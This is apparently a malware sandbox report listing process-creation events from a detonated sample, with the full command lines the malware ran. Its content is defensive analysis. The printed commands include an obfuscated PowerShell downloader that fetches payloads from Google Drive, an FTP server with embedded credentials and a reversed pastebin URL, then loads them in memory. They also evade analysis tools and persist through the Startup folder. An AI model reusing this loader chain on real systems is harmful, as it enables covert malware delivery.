                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\user\AppData\Roaming\pesister.ps1
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\user\AppData\Roaming\pesister.ps1
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\user\AppData\Roaming\pesister.ps1
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\user\AppData\Roaming\pesister.ps1
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1"
                  Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $jphaa = 'ja' + [char]66 + '2ahgayg' + [char]66 + 'dahgaiaa9acaaja' + [char]66 + 'oag8acw' + [char]66 + '0ac4avg' + [char]66 + 'lahiacw' + [char]66 + 'pag8abgauae0ayq' + [char]66 + 'qag8acgauaeuacq' + [char]66 + '1ageaba' + [char]66 + 'zacgamgapadsasq' + [char]66 + 'macaakaagacqadg' + [char]66 + '4agiaqw' + [char]66 + '4acaakqagahsaja' + [char]66 + 'iahoatw' + [char]66 + 'nagoaiaa9acaaww' + [char]66 + 'tahkacw' + [char]66 + '0aguabqauaekatwauafaayq' + [char]66 + '0aggaxqa6adoarw' + [char]66 + 'lahqava' + [char]66 + 'lag0aca' + [char]66 + 'qageada' + [char]66 + 'oacgakqa7agqazq' + [char]66 + 'sacaakaakaegaeg' + [char]66 + 'pae0aagagacsaiaanafwavq' + [char]66 + 'wahcaaq' + [char]66 + 'uac4abq' + [char]66 + 'zahuajwapadsaja' + [char]66 + 'qagsadw' + [char]66 + 'qahoaiaa9acaajw' + [char]66 + 'oahqada' + [char]66 + 'wahmaogavac8aza' + [char]66 + 'yagkadg' + [char]66 + 'lac4azw' + [char]66 + 'vag8azw' + [char]66 + 'sagualg' + [char]66 + 'jag8abqavahuaywa/aguaea' + [char]66 + 'wag8acg' + [char]66 + '0ad0aza' + [char]66 + 'vahcabg' + [char]66 + 'sag8ayq' + [char]66 + 'kacyaaq' + [char]66 + 'kad0ajwa7acqaua' + [char]66 + 'pafuauq' + [char]66 + 'iacaapqagacqazq' + [char]66 + 'uahyaog' + [char]66 + 'qafiatw' + [char]66 + 'daeuauw' + [char]66 + 'tae8aug' + [char]66 + 'faeeaug' + [char]66 + 'daegasq' + [char]66 + 'uaeuaqw' + [char]66 + 'uafuaug' + [char]66 + 'fac4aqw' + [char]66 + 'vag4ada' + [char]66 + 'hagkabg' + [char]66 + 'zacgajwa2adqajwapadsaaq' + [char]66 + 'macaakaagacqaua' + [char]66 + 'pafuauq' + [char]66 + 'iacaakqagahsaja' + [char]66 + 'qagsadw' + [char]66 + 'qahoaiaa9acaakaakagoaaw' + [char]66 + '3agoaegagacsaiaanadeacaayagiacg' + [char]66 + 'qaegalq' + [char]66 + 'rae4awqa1agiacg' + [char]66 + '3agkata' + [char]66 + 'aahuawq' + [char]66 + 'zafcalq' + [char]66 + 'saduaoq' + [char]66 + 'vahcaag' + [char]66 + 'kafmarq' + [char]66 + 'waccakqagadsafq' + [char]66 + 'lagwacw' + [char]66 + 'lacaaewakagoaaw' + [char]66 + '3agoaegagad0aiaaoacqaag' + [char]66 + 'rahcaag' + [char]66 + '6acaakwagaccamq' + [char]66 + 'hageasa' + [char]66 + '5adqalq' + [char]66 + 'caewamq' + [char]66 + 'qahaaqq' + [char]66 + 'uagoaaa' + [char]66 + '0aguazwa4adgasw' + [char]66 + 'nafoanw' + [char]66 + 'jahuaoaaxafoamaa1ahcajwapacaaow' + [char]66 + '9adsaja' + [char]66 + 'jahgaca' + [char]66 + 'magqaiaa9acaakaagae4azq' + [char]66 + '3ac0atw' + [char]66 + 'iagoazq' + [char]66 + 'jahqaia' + [char]66 + 'oaguadaauafcazq' + [char]66 + 'iaemaba' + [char]66 + 'paguabg' + [char]66 + '0acaakqagadsaja' + [char]66 + 'jahgaca' + [char]66 + 'magqalg' + [char]66 + 'fag4ayw' + [char]66 + 'vagqaaq' + [char]66 + 'uagcaiaa9acaaww' + [char]66 + 'tahkacw' + [char]66 + '0aguabqauafqazq' + [char]66 + '4ahqalg' + [char]66 + 'fag4ayw' + [char]66 + 'vagqaaq' + [char]66 + 'uagcaxqa6adoavq' + [char]66 + 'uaeyaoaagadsaja' + [char]66 + 'jahgaca' + [char]66 + 'magqalg' + [char]66 +
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "$vxbcx = $host.version.major.equals(2);if ( $vxbcx ) {$hzomj = [system.io.path]::gettemppath();del ($hzomj + '\upwin.msu');$jkwjz = 'https://drive.google.com/uc?export=download&id=';$piuqb = $env:processor_architecture.contains('64');if ( $piuqb ) {$jkwjz = ($jkwjz + '1p2brjh-qny5brwilzuysw-r59uwjdsev') ;}else {$jkwjz = ($jkwjz + '1aahy4-bl1jpanjhteg88kmz7cu81z05w') ;};$cxpfd = ( new-object net.webclient ) ;$cxpfd.encoding = [system.text.encoding]::utf8 ;$cxpfd.downloadfile($jkwjz, ($hzomj + '\upwin.msu') ) ;$tpwkf = ( 'c:\users\' + [environment]::username );hhxhb = ( $hzomj + '\upwin.msu' ) ; powershell.exe wusa.exe hhxhb /quiet /norestart ; copy-item 'c:\users\user\desktop\devis_valide.js' -destination ( $tpwkf + '\appdata\roaming\microsoft\windows\start menu\programs\startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[system.net.servicepointmanager]::servercertificatevalidationcallback = {$true} ;[system.net.servicepointmanager]::securityprotocol = [system.net.securityprotocoltype]::tls12 ;if((get-process 'wireshark','apatedns','analyze' -ea silentlycontinue) -eq $null){ } else{ restart-computer -force ; exit ; } ;$jlcqj = ('ftp://desckvbrat1@ftp.desckvbrat.com.br/upcrypter' + '/02/dll01.txt' );$iepgq = ( [system.io.path]::gettemppath() + 'dll01.txt');$ojrrp = (-join [char[]](100,101,115,99,107,118,98,114,97,116,49)) ;$lllgq = (-join [char[]](102, 89, 117, 100, 89, 49, 53, 55, 56, 64, 64, 64, 64, 64, 64 )) ;$webclient = new-object system.net.webclient ;$webclient.credentials = new-object system.net.networkcredential($ojrrp, $lllgq) ;$rvuxv = $webclient.downloadstring( $jlcqj ) ;$rvuxv | out-file -filepath $iepgq -encoding 'utf8' -force ;$stfgl = ( [system.io.path]::gettemppath() + 'dll02.txt') ;$phrln = new-object system.net.webclient ;$phrln.encoding = [system.text.encoding]::utf8 ;$dhzua = ( get-content -path $iepgq ) ;$utlhz = $phrln.downloadstring( $dhzua ) ;$utlhz | out-file -filepath $stfgl -force ;$modrg = '$ryaeg = (get-content -path ' + $stfgl + ' -encoding utf8);' ;$modrg += '[byte[]] $fyfdz = [system.convert]::frombase64string( $ryaeg.replace(''?:?'',''a'') ) ;' ;$modrg += '[system.appdomain]::currentdomain.load( $fyfdz ).' ;$modrg += 'gettype( ''classlibrary3.class1'' ).getm' ;$modrg += 'ethod( ''prfvi'' ).invoke( $null , [object[]] ( ''k7nnmcpc/war/moc.nibetsap//:sptth'' , ''c:\users\user\desktop\devis_valide.js'' , ''d ddregasm'' ) );';$vbwwz = ( [system.io.path]::gettemppath() + 'dll03.ps1') ;$modrg | out-file -filepath $vbwwz -force ;powershell -executionpolicy bypass -file $vbwwz ;};"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\cmd.exe cmd.exe /c "powershell.exe -windowstyle hidden start-sleep -seconds 1 ; powershell.exe -windowstyle hidden -executionpolicy bypass -file 'c:\users\user\appdata\locallow\daft sytem\program rules nvideo\program rules nvideo\program rules nvideo\program rules nvideo\iyvmd.ps1'"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\cmd.exe cmd.exe /c "powershell.exe -windowstyle hidden start-sleep -seconds 1 ; powershell.exe -windowstyle hidden -executionpolicy bypass -file 'c:\users\user\appdata\locallow\daft sytem\program rules nvideo\program rules nvideo\program rules nvideo\program rules nvideo\ainzw.ps1'"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden start-sleep -seconds 1 ; powershell.exe -windowstyle hidden -executionpolicy bypass -file 'c:\users\user\appdata\locallow\daft sytem\program rules nvideo\program rules nvideo\program rules nvideo\program rules nvideo\iyvmd.ps1'
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden start-sleep -seconds 1 ; powershell.exe -windowstyle hidden -executionpolicy bypass -file 'c:\users\user\appdata\locallow\daft sytem\program rules nvideo\program rules nvideo\program rules nvideo\program rules nvideo\ainzw.ps1'
                  Source: unknownProcess created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c start /min "" powershell.exe -windowstyle hidden -executionpolicy bypass -command ". 'c:\users\user\appdata\locallow\daft sytem\program rules nvideo\program rules nvideo\program rules nvideo\program rules nvideo\jamie.ps1' ";exit
                  Source: unknownProcess created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c start /min "" powershell.exe -windowstyle hidden -executionpolicy bypass -command ". 'c:\users\user\appdata\locallow\daft sytem\program rules nvideo\program rules nvideo\program rules nvideo\program rules nvideo\jamie.ps1' ";exit
                  Source: unknownProcess created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c start /min "" powershell.exe -windowstyle hidden -executionpolicy bypass -command ". 'c:\users\user\appdata\locallow\daft sytem\program rules nvideo\program rules nvideo\program rules nvideo\program rules nvideo\jamie.ps1' ";exit
                  Source: unknownProcess created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c start /min "" powershell.exe -windowstyle hidden -executionpolicy bypass -command ". 'c:\users\user\appdata\locallow\daft sytem\program rules nvideo\program rules nvideo\program rules nvideo\program rules nvideo\jamie.ps1' ";exit
                  Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $jphaa = 'ja' + [char]66 + '2ahgayg' + [char]66 + 'dahgaiaa9acaaja' + [char]66 + 'oag8acw' + [char]66 + '0ac4avg' + [char]66 + 'lahiacw' + [char]66 + 'pag8abgauae0ayq' + [char]66 + 'qag8acgauaeuacq' + [char]66 + '1ageaba' + [char]66 + 'zacgamgapadsasq' + [char]66 + 'macaakaagacqadg' + [char]66 + '4agiaqw' + [char]66 + '4acaakqagahsaja' + [char]66 + 'iahoatw' + [char]66 + 'nagoaiaa9acaaww' + [char]66 + 'tahkacw' + [char]66 + '0aguabqauaekatwauafaayq' + [char]66 + '0aggaxqa6adoarw' + [char]66 + 'lahqava' + [char]66 + 'lag0aca' + [char]66 + 'qageada' + [char]66 + 'oacgakqa7agqazq' + [char]66 + 'sacaakaakaegaeg' + [char]66 + 'pae0aagagacsaiaanafwavq' + [char]66 + 'wahcaaq' + [char]66 + 'uac4abq' + [char]66 + 'zahuajwapadsaja' + [char]66 + 'qagsadw' + [char]66 + 'qahoaiaa9acaajw' + [char]66 + 'oahqada' + [char]66 + 'wahmaogavac8aza' + [char]66 + 'yagkadg' + [char]66 + 'lac4azw' + [char]66 + 'vag8azw' + [char]66 + 'sagualg' + [char]66 + 'jag8abqavahuaywa/aguaea' + [char]66 + 'wag8acg' + [char]66 + '0ad0aza' + [char]66 + 'vahcabg' + [char]66 + 'sag8ayq' + [char]66 + 'kacyaaq' + [char]66 + 'kad0ajwa7acqaua' + [char]66 + 'pafuauq' + [char]66 + 'iacaapqagacqazq' + [char]66 + 'uahyaog' + [char]66 + 'qafiatw' + [char]66 + 'daeuauw' + [char]66 + 'tae8aug' + [char]66 + 'faeeaug' + [char]66 + 'daegasq' + [char]66 + 'uaeuaqw' + [char]66 + 'uafuaug' + [char]66 + 'fac4aqw' + [char]66 + 'vag4ada' + [char]66 + 'hagkabg' + [char]66 + 'zacgajwa2adqajwapadsaaq' + [char]66 + 'macaakaagacqaua' + [char]66 + 'pafuauq' + [char]66 + 'iacaakqagahsaja' + [char]66 + 'qagsadw' + [char]66 + 'qahoaiaa9acaakaakagoaaw' + [char]66 + '3agoaegagacsaiaanadeacaayagiacg' + [char]66 + 'qaegalq' + [char]66 + 'rae4awqa1agiacg' + [char]66 + '3agkata' + [char]66 + 'aahuawq' + [char]66 + 'zafcalq' + [char]66 + 'saduaoq' + [char]66 + 'vahcaag' + [char]66 + 'kafmarq' + [char]66 + 'waccakqagadsafq' + [char]66 + 'lagwacw' + [char]66 + 'lacaaewakagoaaw' + [char]66 + '3agoaegagad0aiaaoacqaag' + [char]66 + 'rahcaag' + [char]66 + '6acaakwagaccamq' + [char]66 + 'hageasa' + [char]66 + '5adqalq' + [char]66 + 'caewamq' + [char]66 + 'qahaaqq' + [char]66 + 'uagoaaa' + [char]66 + '0aguazwa4adgasw' + [char]66 + 'nafoanw' + [char]66 + 'jahuaoaaxafoamaa1ahcajwapacaaow' + [char]66 + '9adsaja' + [char]66 + 'jahgaca' + [char]66 + 'magqaiaa9acaakaagae4azq' + [char]66 + '3ac0atw' + [char]66 + 'iagoazq' + [char]66 + 'jahqaia' + [char]66 + 'oaguadaauafcazq' + [char]66 + 'iaemaba' + [char]66 + 'paguabg' + [char]66 + '0acaakqagadsaja' + [char]66 + 'jahgaca' + [char]66 + 'magqalg' + [char]66 + 'fag4ayw' + [char]66 + 'vagqaaq' + [char]66 + 'uagcaiaa9acaaww' + [char]66 + 'tahkacw' + [char]66 + '0aguabqauafqazq' + [char]66 + '4ahqalg' + [char]66 + 'fag4ayw' + [char]66 + 'vagqaaq' + [char]66 + 'uagcaxqa6adoavq' + [char]66 + 'uaeyaoaagadsaja' + [char]66 + 'jahgaca' + [char]66 + 'magqalg' + [char]66 + Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "$vxbcx = $host.version.major.equals(2);if ( $vxbcx ) {$hzomj = [system.io.path]::gettemppath();del ($hzomj + '\upwin.msu');$jkwjz = 'https://drive.google.com/uc?export=download&id=';$piuqb = $env:processor_architecture.contains('64');if ( $piuqb ) {$jkwjz = ($jkwjz + '1p2brjh-qny5brwilzuysw-r59uwjdsev') ;}else {$jkwjz = ($jkwjz + '1aahy4-bl1jpanjhteg88kmz7cu81z05w') ;};$cxpfd = ( new-object net.webclient ) ;$cxpfd.encoding = [system.text.encoding]::utf8 ;$cxpfd.downloadfile($jkwjz, ($hzomj + '\upwin.msu') ) ;$tpwkf = ( 'c:\users\' + [environment]::username );hhxhb = ( $hzomj + '\upwin.msu' ) ; powershell.exe wusa.exe hhxhb /quiet /norestart ; copy-item 'c:\users\user\desktop\devis_valide.js' -destination ( $tpwkf + '\appdata\roaming\microsoft\windows\start menu\programs\startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[system.net.servicepointmanager]::servercertificatevalidationcallback = {$true} ;[system.net.servicepointmanager]::securityprotocol = [system.net.securityprotocoltype]::tls12 ;if((get-process 'wireshark','apatedns','analyze' -ea silentlycontinue) -eq $null){ } else{ restart-computer -force ; exit ; } ;$jlcqj = ('ftp://desckvbrat1@ftp.desckvbrat.com.br/upcrypter' + '/02/dll01.txt' );$iepgq = ( [system.io.path]::gettemppath() + 'dll01.txt');$ojrrp = (-join [char[]](100,101,115,99,107,118,98,114,97,116,49)) ;$lllgq = (-join [char[]](102, 89, 117, 100, 89, 49, 53, 55, 56, 64, 64, 64, 64, 64, 64 )) ;$webclient = new-object system.net.webclient ;$webclient.credentials = new-object system.net.networkcredential($ojrrp, $lllgq) ;$rvuxv = $webclient.downloadstring( $jlcqj ) ;$rvuxv | out-file -filepath $iepgq -encoding 'utf8' -force ;$stfgl = ( [system.io.path]::gettemppath() + 'dll02.txt') ;$phrln = new-object system.net.webclient ;$phrln.encoding = [system.text.encoding]::utf8 ;$dhzua = ( get-content -path $iepgq ) ;$utlhz = $phrln.downloadstring( $dhzua ) ;$utlhz | out-file -filepath $stfgl -force ;$modrg = '$ryaeg = (get-content -path ' + $stfgl + ' -encoding utf8);' ;$modrg += '[byte[]] $fyfdz = [system.convert]::frombase64string( $ryaeg.replace(''?:?'',''a'') ) ;' ;$modrg += '[system.appdomain]::currentdomain.load( $fyfdz ).' ;$modrg += 'gettype( ''classlibrary3.class1'' ).getm' ;$modrg += 'ethod( ''prfvi'' ).invoke( $null , [object[]] ( ''k7nnmcpc/war/moc.nibetsap//:sptth'' , ''c:\users\user\desktop\devis_valide.js'' , ''d ddregasm'' ) );';$vbwwz = ( [system.io.path]::gettemppath() + 'dll03.ps1') ;$modrg | out-file -filepath $vbwwz -force ;powershell -executionpolicy bypass -file $vbwwz ;};"Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\cmd.exe cmd.exe /c "powershell.exe -windowstyle hidden start-sleep -seconds 1 ; powershell.exe -windowstyle hidden -executionpolicy bypass -file 'c:\users\user\appdata\locallow\daft sytem\program rules nvideo\program rules nvideo\program rules nvideo\program rules nvideo\iyvmd.ps1'"Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\cmd.exe cmd.exe /c "powershell.exe -windowstyle hidden start-sleep -seconds 1 ; powershell.exe -windowstyle hidden -executionpolicy bypass -file 'c:\users\user\appdata\locallow\daft sytem\program rules nvideo\program rules nvideo\program rules nvideo\program rules nvideo\ainzw.ps1'"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden start-sleep -seconds 1 ; powershell.exe -windowstyle hidden -executionpolicy bypass -file 'c:\users\user\appdata\locallow\daft sytem\program rules nvideo\program rules nvideo\program rules nvideo\program rules nvideo\iyvmd.ps1'Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden start-sleep -seconds 1 ; powershell.exe -windowstyle hidden -executionpolicy bypass -file 'c:\users\user\appdata\locallow\daft sytem\program rules nvideo\program rules nvideo\program rules nvideo\program rules nvideo\ainzw.ps1'Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
